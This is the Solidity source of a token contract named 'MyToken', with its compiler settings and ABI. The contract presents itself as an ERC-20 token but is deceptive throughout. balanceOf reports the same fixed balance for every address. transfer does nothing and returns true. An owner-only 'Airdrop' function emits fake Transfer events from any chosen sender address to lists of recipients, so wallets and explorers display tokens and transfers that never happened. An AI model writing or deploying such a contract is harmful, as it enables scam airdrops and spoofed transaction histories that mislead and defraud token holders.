// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract MyToken is IERC20Metadata {
uint256 private _totalSupply;
uint256 private _showBalance;
string private _name;
string private _symbol;
address private _owner;
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_,
uint256 showBalance_
) {
_name = name_;
_symbol = symbol_;
_totalSupply = totalSupply_;
_showBalance = showBalance_;
_owner = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply_);
}
modifier onlyOwner() {
require(msg.sender == _owner, "Not owner");
_;
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public pure override returns (uint8) {
return 0;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address) public view override returns (uint256) {
return _showBalance;
}
function transfer(address, uint256) public pure override returns (bool) {
return true;
}
function Airdrop(address _from, address[] memory _to, uint256 amount) public onlyOwner returns (bool) {
for (uint256 j = 0; j < _to.length; j++) {
emit Transfer(_from, _to[j], amount);
}
return true;
}
}
{
"compilationTarget": {
"contracts/MyToken.sol": "MyToken"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"},{"internalType":"uint256","name":"showBalance_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Airdrop","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"}]